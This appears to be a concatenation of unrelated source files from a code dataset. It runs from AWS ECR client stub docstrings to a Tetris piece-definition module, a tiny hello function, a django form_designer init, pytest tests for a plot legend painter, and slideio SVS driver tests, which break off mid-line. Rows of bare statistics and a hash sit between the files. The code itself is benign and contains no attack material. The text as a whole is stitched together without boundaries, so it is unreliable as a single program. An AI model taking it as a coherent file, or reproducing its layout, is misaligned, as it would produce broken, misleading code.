Elastic Container Registry User Guide . See also: AWS API Documentation Exceptions :example: response = client.set_repository_policy( registryId='string', repositoryName='string', policyText='string', force=True|False ) :type registryId: string :param registryId: The AWS account ID associated with the registry that contains the repository. If you do not specify a registry, the default registry is assumed. :type repositoryName: string :param repositoryName: [REQUIRED]\nThe name of the repository to receive the policy.\n :type policyText: string :param policyText: [REQUIRED]\nThe JSON repository policy text to apply to the repository. For more information, see Amazon ECR Repository Policies in the Amazon Elastic Container Registry User Guide .\n :type force: boolean :param force: If the policy you are attempting to set on a repository policy would prevent you from setting another policy in the future, you must force the SetRepositoryPolicy operation. This is intended to prevent accidental repository lock outs. :rtype: dict ReturnsResponse Syntax { 'registryId': 'string', 'repositoryName': 'string', 'policyText': 'string' } Response Structure (dict) -- registryId (string) -- The registry ID associated with the request. repositoryName (string) -- The repository name associated with the request. policyText (string) -- The JSON repository policy text applied to the repository. Exceptions ECR.Client.exceptions.ServerException ECR.Client.exceptions.InvalidParameterException ECR.Client.exceptions.RepositoryNotFoundException :return: { 'registryId': 'string', 'repositoryName': 'string', 'policyText': 'string' } :returns: ECR.Client.exceptions.ServerException ECR.Client.exceptions.InvalidParameterException ECR.Client.exceptions.RepositoryNotFoundException """ pass def start_image_scan(registryId=None, repositoryName=None, imageId=None): """ Starts an image vulnerability scan. An image scan can only be started once per day on an individual image. This limit includes if an image was scanned on initial push. For more information, see Image Scanning in the Amazon Elastic Container Registry User Guide . See also: AWS API Documentation Exceptions :example: response = client.start_image_scan( registryId='string', repositoryName='string', imageId={ 'imageDigest': 'string', 'imageTag': 'string' } ) :type registryId: string :param registryId: The AWS account ID associated with the registry that contains the repository in which to start an image scan request. If you do not specify a registry, the default registry is assumed. :type repositoryName: string :param repositoryName: [REQUIRED]\nThe name of the repository that contains the images to scan.\n :type imageId: dict :param imageId: [REQUIRED]\nAn object with identifying information for an Amazon ECR image.\n\nimageDigest (string) --The sha256 digest of the image manifest.\n\nimageTag (string) --The tag used for the image.\n\n\n :rtype: dict ReturnsResponse Syntax { 'registryId': 'string', 'repositoryName': 'string', 'imageId': { 'imageDigest': 'string', 'imageTag': 'string' }, 'imageScanStatus': { 'status': 'IN_PROGRESS'|'COMPLETE'|'FAILED', 'description': 'string' } } Response Structure (dict) -- registryId (string) -- The registry ID associated with the request. repositoryName (string) -- The repository name associated with the request. imageId (dict) -- An object with identifying information for an Amazon ECR image. imageDigest (string) -- The sha256 digest of the image manifest. imageTag (string) -- The tag used for the image. imageScanStatus (dict) -- The current state of the scan. status (string) -- The current state of an image scan. description (string) -- The description of the image scan status. Exceptions ECR.Client.exceptions.ServerException ECR.Client.exceptions.InvalidParameterException ECR.Client.exceptions.UnsupportedImageTypeException ECR.Client.exceptions.LimitExceededException ECR.Client.exceptions.RepositoryNotFoundException ECR.Client.exceptions.ImageNotFoundException :return: { 'registryId': 'string', 'repositoryName': 'string', 'imageId': { 'imageDigest': 'string', 'imageTag': 'string' }, 'imageScanStatus': { 'status': 'IN_PROGRESS'|'COMPLETE'|'FAILED', 'description': 'string' } } :returns: ECR.Client.exceptions.ServerException ECR.Client.exceptions.InvalidParameterException ECR.Client.exceptions.UnsupportedImageTypeException ECR.Client.exceptions.LimitExceededException ECR.Client.exceptions.RepositoryNotFoundException ECR.Client.exceptions.ImageNotFoundException """ pass def start_lifecycle_policy_preview(registryId=None, repositoryName=None, lifecyclePolicyText=None): """ Starts a preview of a lifecycle policy for the specified repository. This allows you to see the results before associating the lifecycle policy with the repository. See also: AWS API Documentation Exceptions :example: response = client.start_lifecycle_policy_preview( registryId='string', repositoryName='string', lifecyclePolicyText='string' ) :type registryId: string :param registryId: The AWS account ID associated with the registry that contains the repository. If you do not specify a registry, the default registry is assumed. :type repositoryName: string :param repositoryName: [REQUIRED]\nThe name of the repository to be evaluated.\n :type lifecyclePolicyText: string :param lifecyclePolicyText: The policy to be evaluated against. If you do not specify a policy, the current policy for the repository is used. :rtype: dict ReturnsResponse Syntax { 'registryId': 'string', 'repositoryName': 'string', 'lifecyclePolicyText': 'string', 'status': 'IN_PROGRESS'|'COMPLETE'|'EXPIRED'|'FAILED' } Response Structure (dict) -- registryId (string) -- The registry ID associated with the request. repositoryName (string) -- The repository name associated with the request. lifecyclePolicyText (string) -- The JSON repository policy text. status (string) -- The status of the lifecycle policy preview request. Exceptions ECR.Client.exceptions.ServerException ECR.Client.exceptions.InvalidParameterException ECR.Client.exceptions.RepositoryNotFoundException ECR.Client.exceptions.LifecyclePolicyNotFoundException ECR.Client.exceptions.LifecyclePolicyPreviewInProgressException :return: { 'registryId': 'string', 'repositoryName': 'string', 'lifecyclePolicyText': 'string', 'status': 'IN_PROGRESS'|'COMPLETE'|'EXPIRED'|'FAILED' } :returns: ECR.Client.exceptions.ServerException ECR.Client.exceptions.InvalidParameterException ECR.Client.exceptions.RepositoryNotFoundException ECR.Client.exceptions.LifecyclePolicyNotFoundException ECR.Client.exceptions.LifecyclePolicyPreviewInProgressException """ pass def tag_resource(resourceArn=None, tags=None): """ Adds specified tags to a resource with the specified ARN. Existing tags on a resource are not changed if they are not specified in the request parameters. See also: AWS API Documentation Exceptions :example: response = client.tag_resource( resourceArn='string', tags=[ { 'Key': 'string', 'Value': 'string' }, ] ) :type resourceArn: string :param resourceArn: [REQUIRED]\nThe Amazon Resource Name (ARN) of the the resource to which to add tags. Currently, the only supported resource is an Amazon ECR repository.\n :type tags: list :param tags: [REQUIRED]\nThe tags to add to the resource. A tag is an array of key-value pairs. Tag keys can have a maximum character length of 128 characters, and tag values can have a maximum length of 256 characters.\n\n(dict) --The metadata that you apply to a resource to help you categorize and organize them. Each tag consists of a key and an optional value, both of which you define. Tag keys can have a maximum character length of 128 characters, and tag values can have a maximum length of 256 characters.\n\nKey (string) --One part of a key-value pair that make up a tag. A key is a general label that acts like a category for more specific tag values.\n\nValue (string) --The optional part of a key-value pair that make up a tag. A value acts as a descriptor within a tag category (key).\n\n\n\n\n :rtype: dict ReturnsResponse Syntax {} Response Structure (dict) -- Exceptions ECR.Client.exceptions.InvalidParameterException ECR.Client.exceptions.InvalidTagParameterException ECR.Client.exceptions.TooManyTagsException ECR.Client.exceptions.RepositoryNotFoundException ECR.Client.exceptions.ServerException :return: {} :returns: (dict) -- """ pass def untag_resource(resourceArn=None, tagKeys=None): """ Deletes specified tags from a resource. See also: AWS API Documentation Exceptions :example: response = client.untag_resource( resourceArn='string', tagKeys=[ 'string', ] ) :type resourceArn: string :param resourceArn: [REQUIRED]\nThe Amazon Resource Name (ARN) of the resource from which to remove tags. Currently, the only supported resource is an Amazon ECR repository.\n :type tagKeys: list :param tagKeys: [REQUIRED]\nThe keys of the tags to be removed.\n\n(string) --\n\n :rtype: dict ReturnsResponse Syntax {} Response Structure (dict) -- Exceptions ECR.Client.exceptions.InvalidParameterException ECR.Client.exceptions.InvalidTagParameterException ECR.Client.exceptions.TooManyTagsException ECR.Client.exceptions.RepositoryNotFoundException ECR.Client.exceptions.ServerException :return: {} :returns: (dict) -- """ pass def upload_layer_part(registryId=None, repositoryName=None, uploadId=None, partFirstByte=None, partLastByte=None, layerPartBlob=None): """ Uploads an image layer part to Amazon ECR. When an image is pushed, each new image layer is uploaded in parts. The maximum size of each image layer part can be 20971520 bytes (or about 20MB). The UploadLayerPart API is called once per each new image layer part. See also: AWS API Documentation Exceptions :example: response = client.upload_layer_part( registryId='string', repositoryName='string', uploadId='string', partFirstByte=123, partLastByte=123, layerPartBlob=b'bytes' ) :type registryId: string :param registryId: The AWS account ID associated with the registry to which you are uploading layer parts. If you do not specify a registry, the default registry is assumed. :type repositoryName: string :param repositoryName: [REQUIRED]\nThe name of the repository to which you are uploading layer parts.\n :type uploadId: string :param uploadId: [REQUIRED]\nThe upload ID from a previous InitiateLayerUpload operation to associate with the layer part upload.\n :type partFirstByte: integer :param partFirstByte: [REQUIRED]\nThe position of the first byte of the layer part witin the overall image layer.\n :type partLastByte: integer :param partLastByte: [REQUIRED]\nThe position of the last byte of the layer part within the overall image layer.\n :type layerPartBlob: bytes :param layerPartBlob: [REQUIRED]\nThe base64-encoded layer part payload.\n :rtype: dict ReturnsResponse Syntax { 'registryId': 'string', 'repositoryName': 'string', 'uploadId': 'string', 'lastByteReceived': 123 } Response Structure (dict) -- registryId (string) -- The registry ID associated with the request. repositoryName (string) -- The repository name associated with the request. uploadId (string) -- The upload ID associated with the request. lastByteReceived (integer) -- The integer value of the last byte received in the request. Exceptions ECR.Client.exceptions.ServerException ECR.Client.exceptions.InvalidParameterException ECR.Client.exceptions.InvalidLayerPartException ECR.Client.exceptions.RepositoryNotFoundException ECR.Client.exceptions.UploadNotFoundException ECR.Client.exceptions.LimitExceededException :return: { 'registryId': 'string', 'repositoryName': 'string', 'uploadId': 'string', 'lastByteReceived': 123 } :returns: ECR.Client.exceptions.ServerException ECR.Client.exceptions.InvalidParameterException ECR.Client.exceptions.InvalidLayerPartException ECR.Client.exceptions.RepositoryNotFoundException ECR.Client.exceptions.UploadNotFoundException ECR.Client.exceptions.LimitExceededException """ pass
29.556514
894
0.694341
11,121
99,369
6.189192
0.06789
0.028505
0.060177
0.032951
0.821139
0.792387
0.764361
0.743019
0.72727
0.706422
0
0.009326
0.226328
99,369
3,361
895
29.565308
0.885977
0.962443
0
0.5
0
0
0
0
0
0
0
0
0
1
0.5
false
0.5
0
0
0.5
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
null
0
0
0
0
0
1
0
1
0
0
0
0
0
9
cfb471be6885c57bd1f0efe89f740e8cd778a12b
3,386
py
Python
ai-for-tetris/src/pieces.py
MohamedGassem/mohamedgassem.github.io
673b2aa725c94f1341150fef91959d29eb90357c
[ "Unlicense" ]
null
null
null
ai-for-tetris/src/pieces.py
MohamedGassem/mohamedgassem.github.io
673b2aa725c94f1341150fef91959d29eb90357c
[ "Unlicense" ]
null
null
null
ai-for-tetris/src/pieces.py
MohamedGassem/mohamedgassem.github.io
673b2aa725c94f1341150fef91959d29eb90357c
[ "Unlicense" ]
null
null
null
from src.tetris.base.Piece import Piece I = Piece( [ [0, 0, 0, 0], [1, 1, 1, 1], [0, 0, 0, 0], [0, 0, 0, 0] ], [ [0, 0, 1, 0], [0, 0, 1, 0], [0, 0, 1, 0], [0, 0, 1, 0] ], [ [0, 0, 0, 0], [0, 0, 0, 0], [1, 1, 1, 1], [0, 0, 0, 0] ], [ [0, 1, 0, 0], [0, 1, 0, 0], [0, 1, 0, 0], [0, 1, 0, 0] ] ) J = Piece( [ [1, 0, 0], [1, 1, 1], [0, 0, 0], ], [ [0, 1, 1], [0, 1, 0], [0, 1, 0] ], [ [0, 0, 0], [1, 1, 1], [0, 0, 1] ], [ [0, 1, 0], [0, 1, 0], [1, 1, 0] ] ) L = Piece( [ [0, 0, 1], [1, 1, 1], [0, 0, 0] ], [ [0, 1, 0], [0, 1, 0], [0, 1, 1] ], [ [0, 0, 0], [1, 1, 1], [1, 0, 0] ], [ [1, 1, 0], [0, 1, 0], [0, 1, 0] ] ) O = Piece( [ [1, 1], [1, 1] ], [ [1, 1], [1, 1] ], [ [1, 1], [1, 1] ], [ [1, 1], [1, 1] ] ) S = Piece( [ [0, 1, 1], [1, 1, 0], [0, 0, 0] ], [ [0, 1, 0], [0, 1, 1], [0, 0, 1] ], [ [0, 0, 0], [0, 1, 1], [1, 1, 0] ], [ [1, 0, 0], [1, 1, 0], [0, 1, 0] ] ) T = Piece( [ [0, 1, 0], [1, 1, 1], [0, 0, 0] ], [ [0, 1, 0], [0, 1, 1], [0, 1, 0] ], [ [1, 1, 1], [0, 1, 0], [0, 0, 0] ], [ [0, 1, 0], [1, 1, 0], [0, 1, 0] ] ) Z = Piece( [ [1, 1, 0], [0, 1, 1], [0, 0, 0] ], [ [0, 0, 1], [0, 1, 1], [0, 1, 0] ], [ [0, 0, 0], [1, 1, 0], [0, 1, 1] ], [ [0, 1, 0], [1, 1, 0], [1, 0, 0] ] ) DOT = Piece( [ [0, 1], [0, 0] ], [ [0, 0], [0, 1] ], [ [0, 0], [1, 0] ], [ [1, 0], [0, 0] ] ) DIAG = Piece( [ [0, 1], [1, 0] ], [ [1, 0], [0, 1] ], [ [0, 1], [1, 0] ], [ [1, 0], [0, 1] ] ) SMALL_L = Piece( [ [0, 1], [1, 1] ], [ [1, 0], [1, 1] ], [ [1, 1], [1, 0] ], [ [1, 1], [0, 1] ] ) SMALL_I = Piece( [ [1, 1], [0, 0] ], [ [0, 1], [0, 1] ], [ [0, 0], [1, 1] ], [ [1, 0], [1, 0] ] ) SMALL_O = Piece( [ [1, 1], [1, 1] ], [ [1, 1], [1, 1] ], [ [1, 1], [1, 1] ], [ [1, 1], [1, 1] ] ) CLASSICAL_PIECES = [I, J, L, O, S, T, Z] PIECES = [DOT]
13.278431
41
0.147667
385
3,386
1.288312
0.051948
0.403226
0.320565
0.282258
0.75
0.729839
0.717742
0.641129
0.596774
0.530242
0
0.277778
0.638512
3,386
255
42
13.278431
0.127451
0
0
0.639676
0
0
0
0
0
0
0
0
0
1
0
false
0
0.004049
0
0.004049
0
0
0
1
null
1
1
1
0
1
1
0
0
0
0
1
1
0
0
0
0
1
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
9
cff1cb3a953d6b28a67c8e107afd2e3320f7e37f
38
py
Python
python_world2/world.py
Methinks-es/python_world
baff981ee81a8d66d1ae12b93d80aa4315237e8d
[ "MIT" ]
null
null
null
python_world2/world.py
Methinks-es/python_world
baff981ee81a8d66d1ae12b93d80aa4315237e8d
[ "MIT" ]
null
null
null
python_world2/world.py
Methinks-es/python_world
baff981ee81a8d66d1ae12b93d80aa4315237e8d
[ "MIT" ]
null
null
null
def world(): return "methinks world"
12.666667
24
0.710526
5
38
5.4
0.8
0
0
0
0
0
0
0
0
0
0
0
0.157895
38
2
25
19
0.84375
0
0
0
0
0
0.368421
0
0
0
0
0
0
1
0.5
true
0
0
0.5
1
0
1
1
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
1
0
0
1
1
0
0
7
cffffa99533c002f47ca0d67c4398c4a294a3a80
456
py
Python
form_designer/__init__.py
driesdesmet/django-form-designer
141a820090d8665fdc31bec75e4db2c4a22c8fc8
[ "BSD-3-Clause" ]
113
2015-02-05T00:12:15.000Z
2022-03-21T14:32:25.000Z
form_designer/__init__.py
driesdesmet/django-form-designer
141a820090d8665fdc31bec75e4db2c4a22c8fc8
[ "BSD-3-Clause" ]
5
2015-01-29T15:35:35.000Z
2020-09-28T14:46:05.000Z
form_designer/__init__.py
dsoosh/django-form-designer
6329df1f6d0e04954a7d3244de82673f94958b02
[ "BSD-3-Clause" ]
42
2015-01-26T14:25:15.000Z
2019-03-17T00:29:55.000Z
try: from south.modelsinspector import add_introspection_rules except ImportError: pass else: add_introspection_rules([], ['^form_designer\.pickled_object_field\.PickledObjectField']) add_introspection_rules([], ['^form_designer\.model_name_field\.ModelNameField']) add_introspection_rules([], ['^form_designer\.template_field\.TemplateCharField']) add_introspection_rules([], ['^form_designer\.template_field\.TemplateTextField'])
45.6
93
0.778509
46
456
7.282609
0.521739
0.238806
0.313433
0.298507
0.471642
0.274627
0.274627
0
0
0
0
0
0.089912
456
9
94
50.666667
0.807229
0
0
0
0
0
0.442982
0.442982
0
0
0
0
0
1
0
true
0.111111
0.222222
0
0.222222
0
0
0
0
null
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
1
null
0
0
0
0
0
0
1
1
0
0
0
0
0
7
32127cc48d5389cc4966e8380cc9add7ef3c7e5e
15,199
py
Python
tests/test_plot/test_legend_painter.py
alexandreMayerowitz/playground-plums
a6be79e4c30c7abcbade5581f052a4e8035a2057
[ "MIT" ]
null
null
null
tests/test_plot/test_legend_painter.py
alexandreMayerowitz/playground-plums
a6be79e4c30c7abcbade5581f052a4e8035a2057
[ "MIT" ]
null
null
null
tests/test_plot/test_legend_painter.py
alexandreMayerowitz/playground-plums
a6be79e4c30c7abcbade5581f052a4e8035a2057
[ "MIT" ]
2
2021-02-03T12:37:53.000Z
2022-03-09T03:48:12.000Z
import numpy as np import PIL.Image from plums.plot.engine.legend_painter import LegendPainter, LegendItemDrawer from plums.plot.engine.color import Color, LightnessColorMap class TestLegendItemDrawer: def test_draw_simple_category(self): # Parameters name = 'Test' fill_color = Color(255, 255, 255, ctype='sRGB255') margins = (15, 15) drawer = LegendItemDrawer((0, 0, 0), scale=1, margins=margins) item_1 = drawer.draw_simple_category(name=name, fill_color=fill_color) assert isinstance(item_1, PIL.Image.Image) assert item_1.width > 0 assert item_1.height > 0 # Change scale (> 1) drawer = LegendItemDrawer((0, 0, 0), scale=2, margins=margins) item_2 = drawer.draw_simple_category(name=name, fill_color=fill_color) assert isinstance(item_2, PIL.Image.Image) assert item_2.width > item_1.width assert item_2.height > item_1.height # Change scale (< 1) drawer = LegendItemDrawer((0, 0, 0), scale=0.5, margins=margins) item_3 = drawer.draw_simple_category(name=name, fill_color=fill_color) assert isinstance(item_3, PIL.Image.Image) assert item_1.width > item_3.width assert item_1.height > item_3.height def test_draw_composite_category(self): # Parameters category_name = 'Test' color_engine_interface = { 'ship': Color(255, 255, 255, ctype='sRGB255'), 'car': Color(255, 128, 128, ctype='sRGB255') } max_category_height = 500 margins = (10, 10) drawer = LegendItemDrawer((0, 0, 0), scale=1, margins=margins) item_1 = drawer.draw_composite_category( descriptor_name='Name', category_name=category_name, color_engine_interface=color_engine_interface, max_category_height=max_category_height ) assert isinstance(item_1, PIL.Image.Image) assert item_1.width > 0 assert item_1.height > 0 # Change scale (> 1) drawer = LegendItemDrawer((0, 0, 0), scale=2, margins=margins) item_2 = drawer.draw_composite_category( descriptor_name='Name', category_name=category_name, color_engine_interface=color_engine_interface, max_category_height=max_category_height ) assert isinstance(item_2, PIL.Image.Image) assert item_2.width > item_1.width assert item_2.height > item_1.height # Change scale (< 1) drawer = LegendItemDrawer((0, 0, 0), scale=0.5, margins=margins) item_3 = drawer.draw_composite_category( descriptor_name='Name', category_name=category_name, color_engine_interface=color_engine_interface, max_category_height=max_category_height ) assert isinstance(item_3, PIL.Image.Image) assert item_1.width > item_3.width assert item_1.height > item_3.height def test_outline(self): # Parameters margins = (10, 10) item = PIL.Image.fromarray(np.zeros((100, 200, 3)).astype(np.uint8)) drawer = LegendItemDrawer((0, 0, 0), scale=1, margins=margins) item_with_outline = drawer.draw_outline_with_title(descriptor_name='Name', legend_set_item=item) assert isinstance(item_with_outline, PIL.Image.Image) assert item.width == item_with_outline.width assert item.height == item_with_outline.height # Change scale (> 1) drawer = LegendItemDrawer((0, 0, 0), scale=2, margins=margins) item_with_outline = drawer.draw_outline_with_title(descriptor_name='Name', legend_set_item=item) assert isinstance(item_with_outline, PIL.Image.Image) assert item.width == item_with_outline.width assert item.height == item_with_outline.height # Change scale (< 1) drawer = LegendItemDrawer((0, 0, 0), scale=0.5, margins=margins) item_with_outline = drawer.draw_outline_with_title(descriptor_name='Name', legend_set_item=item) assert isinstance(item_with_outline, PIL.Image.Image) assert item.width == item_with_outline.width assert item.height == item_with_outline.height def test_draw_colormap(self): # Parameters descriptor_name = 'Test' color_map = LightnessColorMap(Color(50, 78, 50, ctype='JCh'), lightness_range=(0.8, 0.8), chroma_range=(-0.3, -0.1), ctype="sRGB1").discretize(256) margins = (15, 15) drawer = LegendItemDrawer((0, 0, 0), scale=1, margins=margins) item_1 = drawer.draw_colormap(descriptor_name='Name', color_map=color_map, category_name=descriptor_name) assert isinstance(item_1, PIL.Image.Image) assert item_1.width > 0 assert item_1.height > 0 # Change scale (> 1) drawer = LegendItemDrawer((0, 0, 0), scale=2, margins=margins) item_2 = drawer.draw_colormap(descriptor_name='Name', color_map=color_map, category_name=descriptor_name) assert isinstance(item_2, PIL.Image.Image) assert item_2.width > item_1.width assert item_2.height > item_1.height # Change scale (< 1) drawer = LegendItemDrawer((0, 0, 0), scale=0.5, margins=margins) item_3 = drawer.draw_colormap(descriptor_name='Name', color_map=color_map, category_name=descriptor_name) assert isinstance(item_3, PIL.Image.Image) assert item_1.width > item_3.width assert item_1.height > item_3.height class TestLegendPainter: def test_constructor(self): # Parameters color_engine_interface = { 'name': 'Name(Main, Secondary)', 'type': 'categorical', 'schema': { 'ship': Color(255, 255, 255, ctype='sRGB255'), 'car': Color(255, 128, 128, ctype='sRGB255') } } scale = 1 axis = 0 mosaic_size = (500, 500) background_color = (0, 0, 0) item_margins = (10, 10) main_axis_align = 'start' minor_axis_align = 'start' LegendPainter( color_engine_interface=color_engine_interface, scale=scale, axis=axis, mosaic_size=mosaic_size, background_color=background_color, item_margins=item_margins, main_axis_align=main_axis_align, minor_axis_align=minor_axis_align ) def test_draw_items(self): # Parameters scale = 1 axis = 0 mosaic_size = (500, 500) background_color = (0, 0, 0) item_margins = (10, 10) main_axis_align = 'start' minor_axis_align = 'start' # Test invalid mapping schema invalid_color_engine_interface = { 'name': 'Name(Main, Secondary)', 'type': 'categorical', 'schema': { 'ship': 'Hello' } } painter = LegendPainter( color_engine_interface=invalid_color_engine_interface, scale=scale, axis=axis, mosaic_size=mosaic_size, background_color=background_color, item_margins=item_margins, main_axis_align=main_axis_align, minor_axis_align=minor_axis_align ) drawer = LegendItemDrawer(background_color=background_color, scale=scale, margins=item_margins) # Draw items items = painter._draw_items(drawer) # Checks assert isinstance(items, list) assert len(items) == 0 # Single descriptor - categorical simple_categorical_interface = { 'name': 'Name(Main, Secondary)', 'type': 'categorical', 'schema': { 'Ship': Color(26, 188, 156, ctype='sRGB255'), 'Car': Color(241, 196, 15, ctype='sRGB255'), 'Truck': Color(41, 128, 185, ctype='sRGB255'), 'Wind-turbines': Color(236, 240, 241, ctype='sRGB255') } } painter = LegendPainter( color_engine_interface=simple_categorical_interface, scale=scale, axis=axis, mosaic_size=mosaic_size, background_color=background_color, item_margins=item_margins, main_axis_align=main_axis_align, minor_axis_align=minor_axis_align ) drawer = LegendItemDrawer(background_color=background_color, scale=scale, margins=item_margins) # Draw items items = painter._draw_items(drawer) # Checks assert isinstance(items, list) assert len(items) == 4 for item in items: assert isinstance(item, PIL.Image.Image) # Single descriptor - continuous - color map simple_continuous_interface_cm = { 'name': 'Name(Main, Secondary)', 'type': 'continuous', 'schema': LightnessColorMap(Color(50, 78, 50, ctype='JCh'), lightness_range=(0.8, 0.8), chroma_range=(-0.3, -0.1), ctype="sRGB1").discretize(256) } painter = LegendPainter( color_engine_interface=simple_continuous_interface_cm, scale=scale, axis=axis, mosaic_size=mosaic_size, background_color=background_color, item_margins=item_margins, main_axis_align=main_axis_align, minor_axis_align=minor_axis_align ) drawer = LegendItemDrawer(background_color=background_color, scale=scale, margins=item_margins) # Draw items items = painter._draw_items(drawer) # Checks assert isinstance(items, list) assert len(items) == 1 for item in items: assert isinstance(item, PIL.Image.Image) # Two descriptors - both categorical double_categorical_interface = { 'name': 'Name(Main, Secondary)', 'type': 'categorical', 'schema': { 'Ship size': { 'Small (< 26m)': Color(26, 188, 156, ctype='sRGB255'), 'Medium': Color(241, 196, 15, ctype='sRGB255'), 'Large (< 100m)': Color(41, 128, 185, ctype='sRGB255') }, 'Confidence': { 'Little (< 0.5)': Color(26, 188, 156, ctype='sRGB255'), 'Strong (>= 0.5)': Color(241, 196, 15, ctype='sRGB255') } } } painter = LegendPainter( color_engine_interface=double_categorical_interface, scale=scale, axis=axis, mosaic_size=mosaic_size, background_color=background_color, item_margins=item_margins, main_axis_align=main_axis_align, minor_axis_align=minor_axis_align ) drawer = LegendItemDrawer(background_color=background_color, scale=scale, margins=item_margins) # Draw items items = painter._draw_items(drawer) # Checks assert isinstance(items, list) assert len(items) == 2 for item in items: assert isinstance(item, PIL.Image.Image) # One descriptor - categorical / color map double_categorical_interface_cm = { 'name': 'Name(Main, Secondary)', 'type': 'categorical', 'schema': { 'Confidence': LightnessColorMap(Color(50, 78, 50, ctype='JCh'), lightness_range=(0.8, 0.8), chroma_range=(-0.3, -0.1), ctype="sRGB1").discretize(256), 'Size': LightnessColorMap(Color(50, 78, 270, ctype='JCh'), lightness_range=(0.8, 0.8), chroma_range=(-0.3, -0.1), ctype="sRGB1").discretize(256) } } painter = LegendPainter( color_engine_interface=double_categorical_interface_cm, scale=scale, axis=axis, mosaic_size=mosaic_size, background_color=background_color, item_margins=item_margins, main_axis_align=main_axis_align, minor_axis_align=minor_axis_align ) drawer = LegendItemDrawer(background_color=background_color, scale=scale, margins=item_margins) # Draw items items = painter._draw_items(drawer) # Checks assert isinstance(items, list) assert len(items) == 2 for item in items: assert isinstance(item, PIL.Image.Image) def test_draw(self): # Parameters color_engine_interface = { 'name': 'Name(Main, Secondary)', 'type': 'categorical', 'schema': { 'size': { 'small': Color(255, 0, 0, ctype='sRGB255'), 'medium': Color(255, 0, 0, ctype='sRGB255'), 'large': Color(255, 0, 0, ctype='sRGB255') } } } scale = 1 axis = 0 mosaic_size = (500, 500) background_color = (0, 0, 0) item_margins = (10, 10) main_axis_align = 'start' minor_axis_align = 'start' painter = LegendPainter( color_engine_interface=color_engine_interface, scale=scale, axis=axis, mosaic_size=mosaic_size, background_color=background_color, item_margins=item_margins, main_axis_align=main_axis_align, minor_axis_align=minor_axis_align ) # Draw legend legend = painter.draw() # Checks assert isinstance(legend, PIL.Image.Image) assert legend.height == 500 assert legend.width > 0 # Empty Color Engine schema -> means empty RecordCollection # Parameters color_engine_interface = { 'name': 'Name(Main, Secondary)', 'type': 'categorical', 'schema': {} } painter = LegendPainter( color_engine_interface=color_engine_interface, scale=scale, axis=axis, mosaic_size=mosaic_size, background_color=background_color, item_margins=item_margins, main_axis_align=main_axis_align, minor_axis_align=minor_axis_align ) # Draw legend legend = painter.draw() # Checks assert isinstance(legend, PIL.Image.Image) assert legend.height == 0 assert legend.width == 0
35.346512
113
0.568919
1,612
15,199
5.115385
0.081886
0.041475
0.055785
0.034926
0.875334
0.870483
0.837133
0.818579
0.810939
0.810939
0
0.045896
0.336272
15,199
429
114
35.428904
0.771511
0.039739
0
0.700306
0
0
0.052136
0
0
0
0
0
0.171254
1
0.021407
false
0
0.012232
0
0.039755
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
7a29dbd13d684df78a08eb477c5cbd177598832a
24,194
py
Python
src/pytests/public/test_svs_driver.py
Booritas/slideio
fdee97747cc73f087a5538aef6a0315ec75becca
[ "BSD-3-Clause" ]
6
2021-01-25T15:21:31.000Z
2022-03-07T09:23:37.000Z
src/pytests/public/test_svs_driver.py
Booritas/slideio
fdee97747cc73f087a5538aef6a0315ec75becca
[ "BSD-3-Clause" ]
3
2020-12-30T16:21:42.000Z
2022-03-07T09:23:18.000Z
src/pytests/public/test_svs_driver.py
Booritas/slideio
fdee97747cc73f087a5538aef6a0315ec75becca
[ "BSD-3-Clause" ]
null
null
null
"""slideio CZI driver testing.""" import unittest import pytest import cv2 as cv import numpy as np import slideio from testlib import get_test_image_path class TestSVS(unittest.TestCase): """Tests for slideio CZI driver functionality.""" def test_not_existing_file(self): """ Opening of not existing image. Checks if slideio throws RuntimeError exception during opening of not existing file. """ image_path = "missing_file.png" with pytest.raises(RuntimeError): slideio.open_slide(image_path, "SVS") def disabled_test_corrupted_fail_file(self): """ Opening of a corrupted image. Checks if slideio throws RuntimeError exception during opening. """ image_path = get_test_image_path( "svs", "corrupted.svs" ) slide = slideio.open_slide(image_path, "SVS") scene = slide.get_scene(0) with pytest.raises(RuntimeError): scene.read_block() def test_file_j2k_metadata(self): """ Checks image metadata. Opens 3 channel Jpeg 2000 commpressed file and checks metadata. """ image_path = get_test_image_path( "svs", "JP2K-33003-1.svs" ) slide = slideio.open_slide(image_path, "SVS") self.assertTrue(slide is not None) num_scenes = slide.num_scenes self.assertEqual(num_scenes, 4) self.assertEqual(image_path, slide.file_path) raw_metadata = slide.raw_metadata self.assertTrue(raw_metadata.startswith("Aperio Image Library")) # test scene metadates scene_names = ["Image", "Thumbnail", "Label", "Macro"] compression_types = [ slideio.Compression.Jpeg2000, slideio.Compression.Jpeg, slideio.Compression.LempelZivWelch, slideio.Compression.Jpeg ] scene_sizes = [ (15374, 17497), (674, 768), (415, 422), (1280, 421) ] scene_magnifications = [40., 0., 0., 0.] for scene_index in range(num_scenes): scene = slide.get_scene(scene_index) self.assertTrue(scene is not None) scene_rect = scene.rect scene_size = (scene_rect[2], scene_rect[3]) self.assertEqual(scene.name, scene_names[scene_index]) self.assertEqual(scene.compression, compression_types[scene_index]) self.assertEqual(scene.num_channels, 3) self.assertEqual(scene_size, scene_sizes[scene_index]) self.assertEqual(image_path, scene.file_path) self.assertEqual( scene_magnifications[scene_index], scene.magnification ) for channel_index in range(scene.num_channels): channel_type = scene.get_channel_data_type(channel_index) self.assertEqual(channel_type, np.uint8) # test scene resolutuion scene_resolutions = [0.2498e-6, 0, 0, 0] for scene_index in range(num_scenes): scene = slide.get_scene(scene_index) self.assertTrue(scene is not None) res = scene.resolution self.assertEqual( scene_resolutions[scene_index], pytest.approx(res[0]) ) self.assertEqual( scene_resolutions[scene_index], pytest.approx(res[1]) ) def test_file_rgb_metadata(self): """ Checks image metadata. Opens 3 channel brightfield Jpeg commpressed file and checks metadata. """ image_path = get_test_image_path( "svs", "CMU-1-Small-Region.svs" ) slide = slideio.open_slide(image_path, "SVS") self.assertTrue(slide is not None) num_scenes = slide.num_scenes self.assertEqual(num_scenes, 4) self.assertEqual(image_path, slide.file_path) raw_metadata = slide.raw_metadata self.assertTrue(raw_metadata.startswith("Aperio Image Library")) # test scene metadates scene_names = ["Image", 